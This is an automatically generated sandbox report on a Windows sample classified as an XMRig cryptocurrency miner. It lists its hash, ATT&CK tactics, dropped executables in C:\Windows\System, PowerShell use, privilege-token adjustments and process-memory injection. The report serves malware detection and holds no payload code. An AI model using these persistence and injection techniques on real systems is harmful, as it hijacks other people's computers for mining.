Malware Analysis Report

2024-07-28 21:43

Sample ID 240613-2gmbzaxalp
Target 8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe
SHA256 a84fde292ac321b2f20f45331d777de56d4d40db8b4e44934fbb289a80e5b4d9
Tags
miner upx xmrig execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a84fde292ac321b2f20f45331d777de56d4d40db8b4e44934fbb289a80e5b4d9

Threat Level: Known bad

The file 8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe was found to be: Known bad.

Malicious Activity Summary

miner upx xmrig execution

XMRig Miner payload

xmrig

Xmrig family

XMRig Miner payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Loads dropped DLL

UPX packed file

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

Unsigned PE

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-13 22:33

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A

Xmrig family

xmrig

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-13 22:33

Reported

2024-06-13 22:35

Platform

win7-20240611-en

Max time kernel

150s

Max time network

143s

Command Line

"C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe"

Signatures

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\System\LZRpOsm.exe N/A
N/A N/A C:\Windows\System\HnSXOxY.exe N/A
N/A N/A C:\Windows\System\EgXTUoj.exe N/A
N/A N/A C:\Windows\System\WYcEmBb.exe N/A
N/A N/A C:\Windows\System\eZUoRHp.exe N/A
N/A N/A C:\Windows\System\aCBPzCf.exe N/A
N/A N/A C:\Windows\System\OvHNNBZ.exe N/A
N/A N/A C:\Windows\System\SQcsGyv.exe N/A
N/A N/A C:\Windows\System\kRXcCUM.exe N/A
N/A N/A C:\Windows\System\dNjAuIe.exe N/A
N/A N/A C:\Windows\System\tuFGTlF.exe N/A
N/A N/A C:\Windows\System\boyaTVo.exe N/A
N/A N/A C:\Windows\System\dtfXomT.exe N/A
N/A N/A C:\Windows\System\SlAnnbc.exe N/A
N/A N/A C:\Windows\System\aJZBpLG.exe N/A
N/A N/A C:\Windows\System\OjDtJBv.exe N/A
N/A N/A C:\Windows\System\HjheMnc.exe N/A
N/A N/A C:\Windows\System\VzBFyuh.exe N/A
N/A N/A C:\Windows\System\gKslIfk.exe N/A
N/A N/A C:\Windows\System\DMVrIXB.exe N/A
N/A N/A C:\Windows\System\CugrwNc.exe N/A
N/A N/A C:\Windows\System\zfUSObo.exe N/A
N/A N/A C:\Windows\System\ARlNTCu.exe N/A
N/A N/A C:\Windows\System\BIXeVaH.exe N/A
N/A N/A C:\Windows\System\NCAHxFh.exe N/A
N/A N/A C:\Windows\System\VvVhmfi.exe N/A
N/A N/A C:\Windows\System\nUbaGVI.exe N/A
N/A N/A C:\Windows\System\UnAYayb.exe N/A
N/A N/A C:\Windows\System\NgcPDkf.exe N/A
N/A N/A C:\Windows\System\HUUbSKN.exe N/A
N/A N/A C:\Windows\System\AUwmjZt.exe N/A
N/A N/A C:\Windows\System\TyHObAw.exe N/A
N/A N/A C:\Windows\System\toNKYnu.exe N/A
N/A N/A C:\Windows\System\zMyXGsq.exe N/A
N/A N/A C:\Windows\System\mGdEQGI.exe N/A
N/A N/A C:\Windows\System\TprSQzv.exe N/A
N/A N/A C:\Windows\System\SWFhqaD.exe N/A
N/A N/A C:\Windows\System\rNEEKTW.exe N/A
N/A N/A C:\Windows\System\CzDDJUG.exe N/A
N/A N/A C:\Windows\System\GuaHoIK.exe N/A
N/A N/A C:\Windows\System\dpDktvp.exe N/A
N/A N/A C:\Windows\System\jMhIowL.exe N/A
N/A N/A C:\Windows\System\lirNDYG.exe N/A
N/A N/A C:\Windows\System\LbwEiIT.exe N/A
N/A N/A C:\Windows\System\xhVtPSj.exe N/A
N/A N/A C:\Windows\System\hliMKKI.exe N/A
N/A N/A C:\Windows\System\bKvctoz.exe N/A
N/A N/A C:\Windows\System\dKTVuuk.exe N/A
N/A N/A C:\Windows\System\XcLYMuU.exe N/A
N/A N/A C:\Windows\System\INZpHGi.exe N/A
N/A N/A C:\Windows\System\ATvaHyr.exe N/A
N/A N/A C:\Windows\System\DPSEAea.exe N/A
N/A N/A C:\Windows\System\wGdKrmz.exe N/A
N/A N/A C:\Windows\System\ThEnGUr.exe N/A
N/A N/A C:\Windows\System\CwDDOKV.exe N/A
N/A N/A C:\Windows\System\VQIfzRW.exe N/A
N/A N/A C:\Windows\System\pldqsSl.exe N/A
N/A N/A C:\Windows\System\NzZsLii.exe N/A
N/A N/A C:\Windows\System\clGZJnv.exe N/A
N/A N/A C:\Windows\System\PhQdCdV.exe N/A
N/A N/A C:\Windows\System\cVPXWTB.exe N/A
N/A N/A C:\Windows\System\sEBEWxJ.exe N/A
N/A N/A C:\Windows\System\gDwBttO.exe N/A
N/A N/A C:\Windows\System\ELwvRth.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\System\CkAfKyz.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MUuJbPJ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ByguAVC.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\uQMgEgB.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cfvjxIh.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\biCPkKr.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\XjLUKfB.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\UEuWYzU.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\pDazMpv.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DABmfHY.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\iKhCaya.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JAujjjH.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DopMLvr.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rFkMKaa.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jOwLsiE.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jQrlThq.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\rNAJBey.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dnJdvUd.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\fbieLBl.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EKDYxvD.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\nphkUMo.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ufQLhYQ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\nblqSKJ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QyfNSHR.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dUAKmnB.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oLnMVFx.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cbDEhKk.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HZiRXoq.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gSuzMaB.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\LqBjPXT.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VKdZWAI.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PTMUIJi.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\iOlSFmr.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZQLgeSb.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ggCnuQk.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ofrPhDD.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gHyQJfF.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\PbwckTZ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jbMLOtr.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dvzMYnW.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ehjOtdQ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\gteSQJt.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zmLvhSw.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\FOSxMgm.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ujiISda.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vqBgQKK.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mYazkan.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CXRjmeh.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TWlFiES.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vBGsPwK.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\wyvHtPh.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HzdzgwQ.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DcqbpHb.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\GKUoobC.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bgjhzvw.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QZcIYtD.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xkEqUHC.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RojLFNF.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\MEzcUMf.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\YChUDLv.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\khRXeRV.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jxxYErt.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ECHemLe.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DkmhaNd.exe C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2084 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\LZRpOsm.exe
PID 2084 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\LZRpOsm.exe
